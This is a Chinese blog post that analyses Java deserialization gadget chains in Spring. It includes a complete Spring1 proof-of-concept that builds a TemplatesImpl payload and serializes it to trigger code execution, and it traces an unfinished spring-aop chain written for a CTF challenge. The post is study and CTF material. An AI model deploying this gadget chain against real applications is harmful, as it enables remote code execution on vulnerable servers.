Skip to content

Spring链

Spring-beans&spring-core

java8低版本或者Java7,spring-4.1.4RELEASE

AutoWiredUtils$ObjectFactoryDelegatingInvocationHandler

这是个代理类,其构造函数接收一个ObjectFactory,并赋值给this.objectFactory

img

invoke会调用objectFactory#getObject返回的值来调用代理的方法

AnnotationInvocationHandler

其构造函数接收一个map

img

invoke会返回你代理方法的名字对应的键值

MethodInvokeTypeProvider

org.springframework.core版本为4.1.4时源码如下

1
2
3
4
5
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

如果this.provider.getType()可控,那么就能将getType()返回值变成TemplatesImpl恶意类,method改成newTransformer执行恶意代码

因为getType()返回的不是泛型,而是TypeProvider类,所以要getType()要先返回一个类型为TypeProvider的代理类,所以this.provider要为map键名为getType,键值为类型为Type的ObjectFactoryDelegatingInvocationHandler代理对象的AnnotationInvocationHandler(其实我有点疑惑为什么要用ObjectFactoryDelegatingInvocationHandler,用AnnotationInvocationHandler感觉也行)。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class Spring1 {

public static String fileName = "Spring1.bin";

public static void main(String[] args) throws Exception {

// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = Reflections.generateTemplatesImpl();

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);
//创建AnnotationInvocationHandler代理对象,当代理getObject时返回TemplatesImpl恶意对象

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

//创建ObjectFactoryDelegatingInvocationHandler代理对象,传入刚才构造的AnnotationInvocationHandler代理对象
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);

InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);


Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);

//再创一个AnnotationInvocationHandler代理对象,这次对应的getType方法
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");

Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);


// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");

SerializerUtil.objectFileSerialize(objects,fileName);
SerializerUtil.objectFileDeserialize(fileName);
// SerializeUtil.writeObjectToFile(objects, fileName);
// SerializeUtil.readFileObject(fileName);
}
}

Spring-aop

也是Java8低版本或者Java7,spring-aop4.1.4.RELEASE

将ObjectFactoryDelegatingInvocationHandler换成了JdkDynamicAopProxy

img

调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回。

img

方法里就是简单的反射调用。

img

一切尽在不言中

另一条aop链(因为是边做边写的,所以前面有些地方并不是对的,不用过多纠结,看到最后就明白了,虽然但是看到最后也不一定明白)

参考:https://nlrvana.github.io/spring-aop%E9%93%BE%E8%BD%AF%E4%BB%B6%E6%94%BB%E9%98%B2%E8%B5%9B%E5%8D%8A%E5%86%B3%E8%B5%9Bjust-deserialize/#0x01-poc%E6%9E%84%E9%80%A0

sink点是org.springframework.aop.aspectj.AbstractAspectJAdvice 类中的 invokeAdviceMethodWithGivenArgs

img

要想invoke调用我们想要的Method,要控制this.aspectJAdviceMethod属性为我们想要触发的方法,this.aspectInstaceFactory.getInstanceFactory()为我们想要调用的实例。actualArgs暂时可以不管,因为可以考虑调用无参函数。

现在看看谁调用了这个方法。

img

我感觉这两个方法没有任何区别

谁调用了invokeAdviceMethod?

img

我感觉第一个类-AspectJAfterAdvice调用的方法最常用,因为是invoke,而且参数也简单,虽然AspectJAfterThrowingAdvice也是其中的invoke方法调用,但是这个类名字里面带一个Throwing,我感觉是跟异常相关的,可能不太好构造payload

img

因为是invoke,自然就想到了动态代理,但是这个类并不是一个代理类

看看有谁调用了这个方法,巧了,调用这个invoke方法的就是一个代理类的proceed

img

显而易见,要把bm.interceptor弄成AspectJAfterAdvice的实例。

在上图可以看见interceptorOrInterceptionAdvice被赋值给了dm,

img

this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex)被赋值给了interceptorOrInterceptionAdvice,所以要让这个get方法返回AspectJAfterAdvice实例

img

这是个List泛型我们可以考虑搞一个实现List的动态代理,这个动态代理的get方法会返回一个AspectJAfterAdvice

img

但是我突然发现AspectJAfterAdvice没有继承InterceptorAndDynamicMethodMatcher(dm被赋值的时候被强转成这个类了),如果返回的是AspectJAfterAdvice这怎么强转?(其实在前面的图中可以看到proceed方法中还有一个地方也调用了invoke,所以调用链中并没有这一段)

因为我是为了解justdeserialize那道题来看这道题的,我看了看相关的wp发现并没有解释这个地方的,我打算跟着wp,先解决了invokeAdviceMethodWithGivenArgs中调用方法的实例如何获取再说

img

要使this.aspectInstanceFactory.getAspectInstance()返回一个我们想要的恶意类实例

img

AspectInstanceFactory是一个接口,

img

这个方法有一堆的实现类,该挑谁呢?

试试第一个

img

返回了属性aspectClass的实例

看着还行,感觉这个类能用所以给这个属性赋值SimpleAspectInstanceFactory的实例就行(其实并不行,因为这个类没实现serializable)

回到ReflectiveMethodInvocation这个类,你会发现他也没有实现serializable接口,所以需要某个方法动态创建它

并且ReflectiveMethodInvocation#proceed有两个地方调用了invoke,我前面还在困惑如何强转,结果链子的调用过程都不经过那里。

img

看亮着的黄黄的括号,其实

1
2
Object interceptorOrInterceptionAdvice =
this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);

这一步之后直接就到186行了,这里强转成MethodInterceptor,但是前文说的是将this.interceptorsAndDynamicMethodMatchers.get()返回AbstractJAfterAdvice实例,但是呢,这个类并没有实现MethodInterceptor接口。所以要换个类

前文说到两个调用invokeAdviceMethodWithGivenArgs的invokeAdviceMethod方法其实基本上是一样的,前文我只看了调用第一个invokeAdviceMethod的类,但是我没看第二个

img

而这个AspectJAroundAdvice是实现了MethodInterceptor的,所以能成功强转,所以get要返回一个AspectJAroundAdvice实例

List的get方法一般都是从List中拿一个东西出来,这个get有个参数++this.currentInterceptorIndex,这个属性在这个类中是个定值-1,++之后就是0。这个先不管放这

因为ReflectiveMethodInvocation没有实现serializable,所以需要动态创建一下

而JdkDynamicAopProxy#invoke就创建了ReflectiveMethodInvocation实例,并且调用了proceed方法

img

可以看见chain当作了构造函数的参数,所以要往chain里面加恶意类AspectJAroundAdvice

上图可以看到chain的赋值过程,进入赋值的方法

img

可以看到返回的是this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice()进入这个方法

img

通过 org.springframework.aop.framework.adapter.DefaultAdvisorAdapterRegistry#getInterceptors 来获取其返回值的。

img

advisor是AdvisedSupport.advisors的值,所以要控制AdvisedSupport.advisors的值,根据上图可知要满足实现了Advisor和MethodInterceptor接口,而AspectJAroundAdvice只实现了MethodInterceptor,所以还要个代理类代替一下。

其实我对最后这两个方法这么长一段代码并没有很理解,我也不是很想理解。

现在要找一个类来触发JdkDynamicAopProxy#invoke,但是JdkDynamicAopProxy是private,我对其类加载之后对它的编译类型该用啥?而且谁来触发其invoke方法呢

捋一下:JdkDynamicAopProxy#invoke-ReflectiveMethodInvocation#proceed-AspectJAroundAdvice#invoke-AbstractAspectJAdvice#invokeAdviceMethodWithArgs

因为JdkDynamicAopProxy#invoke在调用proceed方法时传了个参数List<?>chain,而chain会在proceed方法中被遍历,并调用invoke方法,所以我们要往chain中添加AspectJAroundAdvice实例。但是因为并不清楚谁来调用了JdkDynamicAopProxy#invoke,所以还是得搞清楚整个链子才能逻辑清晰的构造poc。

所以谁来调用invoke方法呢?

根据这篇文章的上一条链子,可以用MethodInvokeTypeProvider#readObject来触发,但是这道题的core版本太高了,它的readObject改版了,不能用来触发了,要换一个

不行了看不懂,放弃了

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.